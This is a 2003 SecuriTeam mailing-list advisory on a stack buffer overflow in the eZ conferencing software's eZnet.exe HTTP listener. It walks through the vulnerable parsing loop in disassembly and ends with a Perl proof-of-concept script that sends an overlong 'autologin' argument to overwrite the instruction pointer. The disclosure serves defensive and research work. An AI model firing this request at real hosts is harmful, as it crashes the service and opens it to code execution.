[NT] eZ Multiple Packages Stack Overflow Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 12/08/03

  • Next message: SecuriTeam: "[NEWS] AppleShare IP FTP Server Denial of Service (/)" 
    To: list@securiteam.com
Date: 8 Dec 2003 10:48:47 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      eZ Multiple Packages Stack Overflow Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

    "Imagine going to the movies, but instead of seeing the picture, someone
    had to describe it to you verbally. That's what's happening in countless
    business discussions and conference calls every day. A lot of time and
    money is being wasted. That's why we created eZ. Now imagine having the
    ability to place any document right in front of the person you're speaking
    with on the phone, immediately - Word, Excel, PowerPoint, PDF, CAD,
    Digital Photos, Online, and Real time. That's the power of eZ. Regardless
    of the distance that separates your team, eZ delivers an amazingly
    interactive, simple, visual workspace for all team players. If a picture
    paints a thousand words, think what an interactive picture can do for your
    business. Picture it with <http://www.ezmeeting.com/Products.html> eZ".

    DETAILS

    Vulnerable systems:
     * eZ version 3.5.0 and prior

    Stack-based Buffer Overflow
    Each one of the eZ software packages is shipped with an application file
    which runs as part of the core system, 'eZnet.exe'. It acts as a simple
    HTTP server listening on port 80/tcp for connections from one of the eZ
    software packages. Once it receives a request, it will return a string of
    data which the client can use to help negotiate a session with the remote
    eZ user.

    There appears to be a serious issue with the way in which the eZnet
    application parses requests. A stack-based buffer overflow problem seems
    to arise when an overly long request is made to the server, however upon
    investigation it seems impossible to trigger this flaw via a simple 'GET'
    request, since other saved values which are critical to the continuation
    of the application causes it to crash well before the execution flow can
    be modified.

    It is possible to avoid this hang-up by issuing the overly long request as
    an argument within the internal module 'SwEzModule.dll'. A regular request
    to this module may look like:

    $normalrequest = "GET /SwEzModule.dll?operation=login&autologin=1 " .
    "HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";

    It appears that just sending an overly long 'operation' to the server
    causes similar problems to the issuing of an overly long 'GET' request,
    crashing the application before the execution path is modified, however it
    seems that sending an overly long argument to 'autologin', which is
    perhaps one of many 'safe' arguments which we can overflow, will allow
    complete modification of the instruction pointer regardless of any other
    values which may be overwritten.

    Something which makes this issue even more critical is the fact that
    eZnet.exe is the only application which is set to execute as soon as
    Windows is loaded, making every user of eZ vulnerable by default.

    A quick and simple code analysis shows us exactly where eZ went wrong:
    Analysis of the Vulnerable Code
    At the instruction 00425580, the saved return address 00425583 is placed
    on the stack at the address 011AFF84.

    :00425580 FF5648 call [esi+48]
    :00425583 50 push eax

    The procedure which was called from 00425580, located at 00401FE0, is one
    which will receive the data from the socket, parse it, and then take
    action based on the results.

    The real problem lies within an internal parsing routine, a section of
    which seems to be code for a strcpy() type of function,

    This is shown below:
    :004031AF 8A10 mov dl, byte ptr [eax]
    :004031B1 84D2 test dl, dl
    :004031B3 740C je 004031C1

    :004031B5 88140E mov byte ptr [esi+ecx], dl
    :004031B8 8A5001 mov dl, byte ptr [eax+01]
    :004031BB 41 inc ecx
    :004031BC 40 inc eax
    :004031BD 84D2 test dl, dl
    :004031BF 75F4 jne 004031B5

    This procedure seems to move the first byte of the data which we have sent
    to the application via the socket, into the dl register.

    Then a check is performed to ensure that the value in dl isn't a null
    byte, which may signify that no data was received, and then the procedure
    continues to write the contents of the dl register to the address pointed
    to by the esi register plus the ecx register, the value of which is
    incremented each time round. Data is now being moved into into memory
    starting from 011AED30.

    The only built in limitations which the procedure has is the presence of a
    check for null bytes. The procedure will continue copying data until the
    first null is reached, which means that there is no limit to the amount of
    saved data which we can overwrite. With this being so, it is no problem at
    all to continue overwriting data indefinitely until we have completely
    overwritten the saved return address from 00425580, which is located at
    011AFF84.

    When the procedure 00401FE0 has completed. the 'ret 4' instruction pops
    off the overwritten saved return address, and follows it to whatever ends
    we desire.

    :0040231A 5B pop ebx
    :0040231B 8BE5 mov esp, ebp
    :0040231D 5D pop ebp
    :0040231E C20400 ret 0004

    Proof of Concept Code:
    A harmless proof of concept exploit which should recreate the conditions
    of which Peter has been talking is included below:

    #
    ---------------------------------[eZstack.pl]---------------------------------
    #
    #!/usr/bin/perl -w
    #
    # Stack Overflow Vulnerability in eZphotoshare - PoC
    # - by Peter Winter-Smith [peter4020@hotmail.com]

    use IO::Socket;

    if(!($ARGV[0]))
    {
    print "Usage: eZstack.pl <victim>\n\n";
    exit;
    }

    print "Stack Overflow PoC\n";

    $victim = IO::Socket::INET->new(Proto=>'tcp',
                                   PeerAddr=>$ARGV[0],
                                   PeerPort=>"80")
                               or die "Unable to connect to $ARGV[0] on port
    80";

    $eip = "\x58\x58\x58\x58";

    $packet = "" .
      "GET /SwEzModule.dll?operation=login&autologin=" .
      "a"x4653 . $eip .
      "\x20HTTP/1.0.User-Agent: SoftwaxAsys/2.1.10\n\n";
                      
    print $victim $packet;

    print " + Making Request ...\n";

    sleep(4);
    close($victim);

    print "Done.\n";
    exit;

    #
    ------------------------------------------------------------------------------

    Patches - Workarounds:
    Currently no patches exist. The vendor has reported to me that he will be
    working on a patch for all of the security issues which Peter has raised,
    and they may be downloaded with the latest version from the vendor's
    website as soon as they are released.

    ADDITIONAL INFORMATION

    The original advisory can be found at:
    <http://www.elitehaven.net/ezstackoverflow.txt>
    http://www.elitehaven.net/ezstackoverflow.txt.

    The information has been provided by <mailto:peter4020@hotmail.com> Peter
    Winter-Smith.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[NEWS] AppleShare IP FTP Server Denial of Service (/)"

    Relevant Pages